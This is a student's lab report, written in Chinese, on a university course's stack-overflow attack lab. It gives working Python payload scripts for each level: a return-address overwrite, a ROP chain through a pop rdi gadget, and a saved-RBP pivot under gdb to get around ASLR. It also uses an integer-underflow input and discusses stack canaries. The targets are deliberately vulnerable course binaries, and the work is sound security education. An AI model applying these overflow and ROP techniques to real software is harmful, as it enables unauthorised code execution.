

栈溢出攻击实验

喻昌霖 2024202865

题目解决思路

Problem 1:

- 分析: 在IDA pro当中逆向分析problem1，可以看到在主函数里只有一个自定义函数func，且func的参数是待输入的payload。点进这个函数是如下结果：

```
void __cdecl func(char *s)
{
    char buffer[8]; // [rsp+18h] [rbp-8h] BYREF

    strcpy(buffer, s);
}
```

因此padding需要填充的是buffer的8个字节和saved rbp的8个字节，共16个字节

此外在IDA pro的函数列表里面可以找到一个神秘的func1，点进去发现内容是 puts("Yes! I like ICS!");，因此只需要把返回地址覆盖成func1的地址即可实现输出 Yes! I like ICS!

- 解决方案: 构造payload如下：

```
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding + func1_address
with open("ans.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans.txt")
```

其中 0x401216 是在IDA pro中读取的func1的地址（在Hex View界面选择func1可以得到其地址）

- 结果：

```
ycl_berserk@yclPC:~/attack-lab-ycl-berserk$ /usr/bin/env /usr/bin/
n.debugpy-2025.18.0-linux-x64/bundled/libs/debugpy/adapter/.../de
serk/payload.py
Payload written to ans.txt
ycl_berserk@yclPC:~/attack-lab-ycl-berserk$ ./problem1 ans.txt
Do you like ICS?
Yes! I like ICS!
ycl_berserk@yclPC:~/attack-lab-ycl-berserk$
```

Problem 2:

- 分析: 这里实现说了开启了Nx数据不可执行保护，同时在IDA pro中可以发现有两点变化：
 - func函数仍然是8字节，但是它使用了memcpy这个函数
 - Yes! I like ICS!所在的函数仍然在0x401216的位置，但是其有一个参数，且只有当参数为1016的时候才会输出 Yes! I like ICS!

```
1 void __cdecl __noreturn func2(int x)
2 {
3     if ( x != 1016 )
4     {
5         printf("I think that you should give me the right number!\n");
6         exit(0);
7     }
8     printf("Yes! I like ICS!\n");
9     exit(0);
10 }
```

于是只需要按照标准ROP链（因为有Nxenabled）的思路：找到该程序中已有的一句 `pop rdi; ret` 然后让函数返回地址在这句话的地址（这里在终端输入指令：`ROPgadget --binary your_program | grep -E "pop rdi|ret"` 就可找到相关语句所在地址了，这里也即 `0x4012c7`），然后再把 `1016` 这个参数值放到 payload 后面（这样就会被 `pop` 出来放到 `rdi` 里面给 `func2` 用了），再把 `func2` 的地址放到 payload 后面就会被 `ret` 指令转到 `func2` 上了

`0x00000000004012c7 : pop rdi ; ret`

- 解决方案：

```
import struct

def p64(x):
    return struct.pack('<Q', x)

padding = b"A" * 16

# ROP 链
pop_rdi_addr = 0x4012c7
func2_addr = 0x401216
arg_value = 1016

payload = padding
payload += p64(pop_rdi_addr) # 1. 弹出栈值到 RDI
payload += p64(arg_value) # 2. 参数值 1016
payload += p64(func2_addr) # 3. 调用 func2

# 填充到 56 字节 (memcpy 长度)
payload = payload.ljust(56, b"\x00")

with open("ans.txt", "wb") as f:
    f.write(payload)
```

- 结果：

```
● ycl_berserk@yclPC:~/attack-lab-ycl-berserk$ ./problem2 ans.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析:

- 这次的func限制拷贝0x40u（即64字节）到缓冲区，故可溢出空间是剩下的32字节。
- 分析func1得到必须要参数为114的时候才能正确输出，需要让\$rdi=114
- 这次试图用指令搜索含有 pop rdi; ret 的地方，但是没找到
- 于是在IDA pro的函数列表中查找有没有可用的gadget，找到了0x4012E6的位置，在函数 mov_rdi 中，有一段gadget可以拿来用：

```
.text:00000000004012E6      mov    rax, [rbp+addr]
.text:00000000004012EA      mov    rdi, rax
.text:00000000004012ED      retn
```

它可以从 [RBP-8] 读取值到RAX，并将RAX复制到RDI，并返回

- 因此可以考虑在\$rbp-8的位置处放置114，然后使用这个gadget
- 这要求我们必须能够控制\$rbp的值
- 如果开启了ASLR，接下来的地址都很难搞清楚，这里考虑在gdb中得到最终结果，绕过ASLR
- 在gdb当中执行程序的时候，使用指令 info registers rbp 可以获取\$rbp的值，为 0x7fffffff460
- 于是可以考虑构造如下内存布局：

0x7fffffff440	[buffer开始] 填充(16字节)
0x7fffffff450	参数114 (RBP-8的位置所在)
0x7fffffff458	填充(8字节)
0x7fffffff460	saved RBP = 0x7fffffff458
0x7fffffff468	返回地址 = 0x4012e6 (gadget)
0x7fffffff470	func1地址 = 0x401216

- 解决方案:

```
#!/usr/bin/env python3
import struct

def p64(x):
    return struct.pack('<Q', x)

GADGET_ADDR = 0x4012e6
FUNC1_ADDR = 0x401216
ARG_VALUE = 114

# ===== 构造payload =====
payload = b'A' * 16                                # 0x440-0x44f: 填充
payload += p64(ARG_VALUE)                          # 0x450-0x457: 参数114
payload += b'B' * 8                                 # 0x458-0x45f: 填充
payload += p64(0x7fffffff458)                      # 0x460-0x467: saved RBP
payload += p64(GADGET_ADDR)                         # 0x468-0x46f: gadget地址
payload += p64(FUNC1_ADDR)                          # 0x470-0x477: func1地址
payload += b'\x00' * 8                               # 0x478-0x47f: 填充
```

```

assert len(payload) == 64          # 与memcpy的长度要求一致

with open('ans.txt', 'wb') as f:
    f.write(payload)

```

- 结果:

```

ycl_berserk@yclPC:~/attack-lab-ycl-berserk$ gdb ./problem3
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./problem3...
(gdb) run ans.txt
Starting program: /home/ycl_berserk/attack-lab-ycl-berserk/problem3 ans.txt

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) n
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
[Inferior 1 (process 47958) exited normally]
(gdb) []

```

Problem 4:

- **分析:** 这里直接找到通关提示 "great! I will give you great scores" 所在的函数func1， 经过查看可以发现这个函数在func当中会被调用，调用条件是 "v2 == 1 && a1 == -1"，而这里a1是func函数的输入，通过计算我们可以得出，当a1=-1的时候，这个函数的v2也会等于1（从-1减了0xFFFFFFFF次变回1），因此只需要保证func函数的输入为-1即可通关
- **解决方案:** 无需payload，这里的canary存在于caesar_decrypt函数、func函数以及func1函数当中，在函数体前后在0x28u处读取或比较canary值来完成canary保护，这里以func1中的canary为例：

```

v1 = __readfsqword(0x28u);
// 一堆其他代码.....
return v1 - __readfsqword(0x28u);

```

看是不是return 0就知道canary值有没有被改变了

- 结果:

```
● ycl_berserk@yclPC:~/attack-lab-ycl-berserk$ ./problem4
hi please tell me what is your name?
a
hi! do you like ics?
a
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
○ ycl_berserk@yclPC:~/attack-lab-ycl-berserk$
```

思考与总结

这是一个比较简单也比较短的lab，总体感觉作用是让我们熟悉了栈溢出漏洞的常见保护手段以及反制手段，但是其中ASLR可以被绕过，ROP链的构造也没有很难，也没有引入PIE，所以总体感觉还是比较基础的。作为本人最后一个ics实验，完成它之后我想感谢一学期以来助教们的辛苦付出，我能明显感觉到这几个lab已经是削弱版的了（或者是参考文档给的足够详细），没有很为难我们。提前祝老师和助教们新年快乐！

参考资料

IDA pro —— www.hex-rays.com (IDA神中神)

<https://chat.deepseek.com>

gdb工具